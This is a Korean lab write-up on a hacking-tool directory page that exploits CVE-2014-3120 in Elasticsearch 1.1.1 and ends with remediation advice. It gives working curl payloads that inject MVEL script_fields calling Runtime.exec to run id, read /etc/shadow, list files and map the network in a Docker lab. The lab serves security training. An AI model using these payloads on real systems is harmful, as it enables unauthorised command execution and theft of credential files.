Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2014-3120 — Elasticsearch 1.1.1을 대상으로 한 CVE-2014-3120 취약점 악용 실습을 단계별로 설명하는 랩 가이드입니다. 취약점 분석, MVEL 스크립팅을 통한 RCE, Docker 환경에서의 사후 침투(Post-Exploitation)를 다룹니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2014-3120
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Elasticsearch 1.1.1을 대상으로 한 CVE-2014-3120 취약점 악용 실습을 단계별로 설명하는 랩 가이드입니다. 취약점 분석, MVEL 스크립팅을 통한 RCE, Docker 환경에서의 사후 침투(Post-Exploitation)를 다룹니다.

저장소 보기
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LAB 10-CVE-2014-3120

I. 시스템 분석

도커 환경에서 공격 표면 식별

실행 중인 환경을 확인하는 것으로 시작합니다. 모든 활성 컨테이너를 나열합니다:

root@kitploit:~
docker ps

image.png

결과: p1/lab10:latest 컨테이너가 실행 중이며, 외부에 2개의 포트를 노출하고 있습니다:

포트 매핑프로토콜
0.0.0.0:9200 → 9200/tcpHTTP (확인 필요)
0.0.0.0:9300 → 9300/tcp알 수 없음

초기 관찰: 포트 9200과 9300은 일반적으로 Elasticsearch의 기본 포트로 알려져 있습니다. 그러나 포트 번호만으로는 결론을 내릴 수 없습니다. 다른 많은 서비스가 임의의 포트에 바인딩될 수 있기 때문입니다.

⇒ 각 포트에 직접 curl을 실행하여 실제 실행 중인 서비스를 확인합니다.

포트 9300 테스트

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

응답 분석:

  • 응답: curl: (52) Empty reply from server
  • 서버 헤더: 없음 - 서버가 HTTP 응답을 반환하지 않음

평가: 서버는 TCP 연결을 수락했지만(연결 거부 없음), HTTP 프로토콜을 사용하여 응답하지 않았습니다. 이는 포트 9300의 Elasticsearch Transport 프로토콜 동작과 일치합니다. 이는 클러스터 내 노드 간 통신에 사용되는 바이너리 프로토콜이며, HTTP가 아닙니다.

⇒ 마인드셋: 포트 9300은 바이너리 프로토콜을 사용하므로 curl/브라우저로 직접 악용할 수 없습니다. 포트 9200(HTTP REST API 포트) 확인으로 전환합니다.


포트 9200 테스트

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

응답 분석:

공격 표면 평가:

  • Elasticsearch 1.1.1 확인됨 - 서비스가 전체 버전 정보와 함께 특징적인 JSON 응답 반환
  • 인증 불필요 - REST API가 자격 증명 없이 직접 응답
  • Elasticsearch 1.1.1 (2014) 은 여러 중요 CVE의 영향 범위에 속하며, 특히 CVE-2014-3120 - 동적 스크립팅을 통한 임의 코드 실행 취약점

image.png

⇒ 마인드셋: Elasticsearch 1.1.1은 기본적으로 동적 스크립팅을 활성화하여 클라이언트가 검색 쿼리에서 스크립트(MVEL 표현식)를 서버에 전송하여 실행할 수 있도록 합니다. 샌드박스나 적절한 검증이 없으면 공격자는 악성 스크립트를 주입하여 시스템 명령어를 실행할 수 있습니다. 다음 단계: 대상에서 동적 스크립팅이 실제로 활성화되어 있는지 확인합니다.

동적 스크립팅 및 MVEL 엔진 확인

동적 스크립팅이란?

Elasticsearch는 스크립팅 기능을 지원합니다 - 클라이언트가 검색 요청 내에 스크립트(수학적 또는 논리적 표현식)를 전송하여 서버가 결과를 처리할 때 실행하도록 합니다. Elasticsearch 1.x에서 이 기능의 기본 엔진은 MVEL (MVFLEX Expression Language) 입니다.

핵심 보안 문제

1.2 이전 Elasticsearch 버전에서는 동적 스크립팅이 기본적으로 활성화되어 있습니다 (script.disable_dynamic: false). 이는 다음을 의미합니다:

  1. REST API 인증 불필요
  2. 클라이언트가 _search API의 script_fields 매개변수를 통해 임의의 스크립트 전송 가능
  3. MVEL 엔진은 충분히 강력한 샌드박스가 부족하여 Java 런타임에 접근 허용
  4. 공격자는 java.lang.Runtime.getRuntime().exec()를 호출하여 시스템 명령어 실행 가능

script_fields 작동 방식

script_fields가 포함된 검색 요청이 전송되면 Elasticsearch는:

  1. _search API를 통해 JSON 요청 수신
  2. script_fields 필드 파싱 → 실행할 script 찾기
  3. MVEL 엔진을 사용하여 스크립트 평가
  4. MVEL 엔진은 Java 런타임에 완전히 접근 가능 → 모든 Java 클래스 호출 가능
  5. HTTP 응답에 결과 반환

공격 벡터 분석: MVEL → Java 런타임 → RCE

Java에서 시스템 명령어를 실행하는 가장 일반적인 방법은:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL은 Java 클래스에 완전히 접근할 수 있는 표현 언어로서, 이를 직접 호출할 수 있습니다:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

각 부분 설명:

⇒ 마인드셋: Elasticsearch에서는 RCE 출력이 응답에 직접 반환됩니다 — 파일로 리디렉션하여 다시 읽을 필요가 없습니다. 이렇게 하면 익스플로잇이 더 깔끔하고 빠르게 확인됩니다.

II. 익스플로잇

동적 스크립팅 활성화 확인

대상이 Elasticsearch 1.1.1임을 식별한 후, 다음 단계는 동적 스크립팅이 실제로 활성화되어 있는지 확인하는 것입니다.

CVE-2014-3120은 Elasticsearch가 클라이언트가 _search 요청 내에 스크립트를 전송할 수 있도록 허용하는 점을 악용합니다. 스크립트가 서버에서 실행되면 공격자는 무해한 표현식을 Java 런타임을 호출하여 시스템 명령어를 실행하는 페이로드로 대체할 수 있습니다.

먼저, 쿼리에 적어도 하나의 일치하는 결과가 있도록 테스트 문서를 생성합니다. 문서가 없으면 script_fields가 평가되지 않습니다.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

그런 다음 인덱스를 새로 고칩니다:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

다음으로, 무해한 MVEL 표현식이 포함된 script_fields를 사용하여 _search 요청을 전송합니다:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

스크립트 "1+1" 을 전송하고 서버가 결과 2를 반환합니다. 이는 Elasticsearch가 _search 요청을 수신할 뿐만 아니라 서버 측에서 동적 스크립트를 실행한다는 것을 증명합니다.

⇒ 동적 스크립팅이 대상에서 활성화되어 있습니다.

대상이 Elasticsearch 1.1.1이므로 1.2 이전 버전이며, 이는 CVE-2014-3120의 익스플로잇 요구 사항과 일치합니다: 1.2 이전의 Elasticsearch는 기본적으로 동적 스크립팅을 활성화하여 원격 공격자가 검색 요청을 통해 MVEL 표현식/Java 코드를 실행할 수 있도록 합니다.

명령어 실행 함수로의 경로 식별

무해한 표현식 "1+1"이 [2]를 반환하는 것을 통해 script_fields가 Elasticsearch에 의해 서버 측에서 실행됨을 확인했습니다.

이는 대상이 표준 검색뿐만 아니라 클라이언트가 _search 처리 중에 서버가 평가할 MVEL 스크립트를 전송할 수 있도록 허용함을 증명합니다.

CVE-2014-3120의 경우, Elasticsearch 1.1.1의 MVEL이 Java 클래스에 접근할 수 있다는 점이 핵심 위험입니다. 따라서 수학적 표현식 "1+1" 대신 공격자는 Java Runtime을 호출하는 스크립트를 전송할 수 있습니다:

Runtime.getRuntime().exec("command")

이는 운영 체제에서 새로운 프로세스를 생성하고 명령어를 실행하는 표준 Java API입니다.

공격 체인

root@kitploit:~
_search API
→ script_fields
→ MVEL 표현식
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner가 stdout 읽기
→ 결과가 JSON 응답에 반환됨

RCE 페이로드 구성 및 실행

RCE 페이로드:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

페이로드 분석:

결과:

응답은 id 명령어의 출력을 포함하는 fields.exploit 필드를 반환합니다:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

분석:

페이로드가 script_fields 내부의 MVEL 스크립트를 통해 Runtime.getRuntime().exec("id")를 성공적으로 호출했습니다. 응답이 id 명령어의 출력을 반환한다는 것은 명령어가 서버 측에서 실행되었음을 증명합니다.

uid=0(root) gid=0(root) groups=0(root) 결과는 컨테이너 내부의 Elasticsearch 프로세스가 root 권한으로 실행 중임을 나타냅니다.

권한 한계 확인

RCE를 확인한 후, 실제 권한은 민감한 파일을 읽어 보는 방식으로 검증해야 합니다:

/etc/shadow 읽기:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

관찰 결과:

응답이 /etc/shadow 파일의 내용을 반환합니다:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

분석:

/etc/shadow 파일은 Linux에서 중요한 시스템 파일로, 일반적으로 root 사용자 또는 이에 상응하는 권한을 가진 프로세스만 읽을 수 있습니다. 이전 단계에서 id 명령어가 반환한 결과:

uid=0(root) gid=0(root) groups=0(root)

이 단계는 실제 동작을 통해 이를 추가로 확인합니다: RCE 페이로드가 /etc/shadow를 성공적으로 읽을 수 있음.

⇒ 컨테이너 내부의 Elasticsearch가 root 권한으로 실행 중입니다.

⇒ 영향은 일반적인 명령어 실행에 그치지 않고, 컨테이너 내 root 권한의 RCE입니다.

참고: 여기서 root 권한은 Docker 컨테이너 내부의 root를 의미합니다. 컨테이너가 특권 모드로 실행 중이거나, Docker 소켓을 마운트했거나, 호스트의 민감한 볼륨을 마운트했다는 증거 없이는 호스트에서의 root 권한을 결론지을 수 없습니다.

III. 사후 침투

시스템 정보 수집

RCE가 확인되었습니다. 범위를 평가하기 위해 시스템 정보를 수집합니다.

컨테이너의 루트 파일시스템 나열

root 권한으로 RCE가 확인된 후, MVEL 페이로드를 통해 ls -la / 명령어를 실행하여 대상 내부의 파일시스템을 관찰합니다:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

결과: 응답이 rootfs 필드에 / 디렉토리의 내용을 반환합니다.

분석:

ls -la /의 출력이 JSON 응답에 나타난다는 것은 명령어가 RCE를 통해 대상에서 실행되었음을 증명합니다. docker-entrypoint.sh, elasticsearch 디렉토리, docker-java-home 심볼릭 링크와 같은 파일들은 손상된 환경이 Elasticsearch를 실행하는 컨테이너임을 나타냅니다.

⇒ 공격자는 root 권한으로 컨테이너 내부의 파일시스템을 나열할 수 있습니다.

네트워크 확인 — 피벗 가능성

컨테이너에 /sbin/ifconfig 바이너리가 없으므로 /proc/net/route를 직접 읽습니다. 이 파일은 외부 유틸리티가 필요 없으며 컨테이너의 라우팅 테이블을 제공합니다.

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

분석:

결과는 컨테이너에 eth0 인터페이스가 있으며 Docker 네트워크 172.19.0.0/16 내에 있음을 보여줍니다. 기본 게이트웨이는 172.19.0.1입니다.

이는 컨테이너가 Docker 브리지를 통해 내부 네트워크 연결을 가지고 있음을 증명합니다. 공격자는 이미 컨테이너 내에서 root 권한으로 RCE를 가지고 있으므로, 네트워크 정책이 허용한다면 동일한 Docker 네트워크의 다른 호스트/서비스를 조사할 수 있습니다.

그러나 이 출력은 라우팅 수준에서의 네트워크 가시성만 증명할 뿐, 성공적인 피벗을 증명하지는 않습니다. 피벗을 결론짓기 위해서는 다른 호스트 스캔 성공, 내부 서비스 연결, 다른 네트워크의 리소스 검색과 같은 추가 증거가 필요합니다.

IV. 위험 평가 및 권장 사항

위험 평가

분석 과정에서 수집된 증거를 바탕으로, 대상은 포트 9200에서 Elasticsearch 1.1.1을 실행 중입니다. 이 버전은 1.2 이전이므로 CVE-2014-3120의 영향을 받는 범위에 속합니다.

취약점은 Elasticsearch가 버전 1.2 이전에 기본적으로 동적 스크립팅을 활성화하여 클라이언트가 검색 요청을 통해 MVEL 스크립트를 제출할 수 있도록 하는 데서 비롯됩니다. 이 실습에서는 무해한 표현식 "1+1"이 결과 [2]를 반환함으로써 이 기능이 작동하는 것으로 확인되었습니다.

이후 MVEL 페이로드가 다음을 호출했습니다:

root@kitploit:~
Runtime.getRuntime().exec("id")

응답이 반환되었습니다:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

이는 공격자가 Elasticsearch를 통해 시스템 명령어를 실행할 수 있음을 증명합니다. 또한 페이로드가 /etc/shadow를 성공적으로 읽어 컨테이너 내에서 실행 권한이 root임을 확인했습니다.

수정 권장 사항

1. Elasticsearch를 최신 버전으로 업그레이드

Elasticsearch를 >= 1.2.0 (최소) 또는 이상적으로는 현재 지원되는 버전(8.x)으로 업그레이드합니다. 버전 1.2부터 동적 스크립팅은 기본적으로 비활성화됩니다.

2. 즉시 동적 스크립팅 비활성화 (업그레이드가 불가능한 경우)

elasticsearch.yml에 다음을 추가합니다:

root@kitploit:~
script.disable_dynamic: true

변경 후 Elasticsearch를 다시 시작합니다. 이렇게 하면 클라이언트가 검색 요청 내에서 스크립트를 제출하는 기능이 완전히 비활성화됩니다.

3. 신뢰할 수 없는 네트워크에 Elasticsearch REST API를 노출하지 마십시오

Elasticsearch 1.x 버전에는 기본 인증이 없습니다. 노출해야 하는 경우 인증이 있는 리버스 프록시 뒤에 배치하거나 127.0.0.1에만 바인딩합니다.

우선 순위 높음

4. 인증 및 암호화 활성화

최신 Elasticsearch 버전(7.x+)은 내장 보안(인증, TLS)을 지원합니다. 업그레이드한 경우 보안 기능을 활성화합니다:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. 방화벽을 사용하여 접근 제한

신뢰할 수 있는 IP만 포트 9200 및 9300에 접근할 수 있도록 허용합니다. 인터넷이나 전체 내부 네트워크에 노출하지 마십시오.

6. Elasticsearch를 낮은 권한의 사용자로 실행

Elasticsearch를 root 사용자로 실행하지 마십시오. 최소 권한을 가진 전용 elasticsearch 사용자를 생성합니다. 이는 공식 모범 사례입니다:

도구 다운로드
필드값의미
name"Rage"Elasticsearch 노드 이름 (임의의 Marvel 캐릭터 이름 - 이전 ES 버전의 기본 동작)
version.number"1.1.1"매우 오래된 버전 - 2014년 4월 릴리스
build_timestamp"2014-04-16T14:27:12Z"2014년 빌드
lucene_version"4.7"Lucene 4.7 - 오래된 인덱싱 엔진
tagline"You Know, for Search"Elasticsearch의 특징적인 서명 문구
부분설명
import java.io.*Java IO 클래스 가져오기
Runtime.getRuntime()Java Runtime 인스턴스 검색
.exec("id")셸 명령어 id 실행
.getInputStream()프로세스의 출력 스트림 검색
new Scanner(...).useDelimiter("\\A").next()전체 출력을 문자열로 읽기
부분
목적
"size": 1결과를 1개 문서로 제한
"query" → "match_all"모든 문서와 일치 (인덱스에 최소 1개 문서 필요)
"script_fields" → "exploit"MVEL 스크립트를 실행하는 계산된 필드 정의
"script": "import java.io.*; ..."id 명령어를 실행하고 출력을 반환하는 MVEL 표현식
기준평가세부 사항
CVECVE-2014-3120Elasticsearch 동적 스크립팅 RCE
영향받는 서비스ElasticsearchREST API가 포트 9200에 노출됨
버전1.1.11.2 이전, 영향받는 버전에 해당
인증실습에서 불필요REST API가 직접 응답, 자격 증명 필요 없음
익스플로잇 조건동적 스크립팅 활성화스크립트 "1+1"이 [2]를 반환하여 확인됨
획득한 권한컨테이너 내 rootid가 uid=0(root) 반환
영향매우 높음RCE, 민감 파일 읽기, 파일시스템 나열, 사용자/네트워크 정보 수집
범위컨테이너아직 호스트 손상의 증거 없음
피벗추가 확인 가능성컨테이너가 Docker 네트워크 172.19.0.0/16 내에 eth0을 통한 경로 보유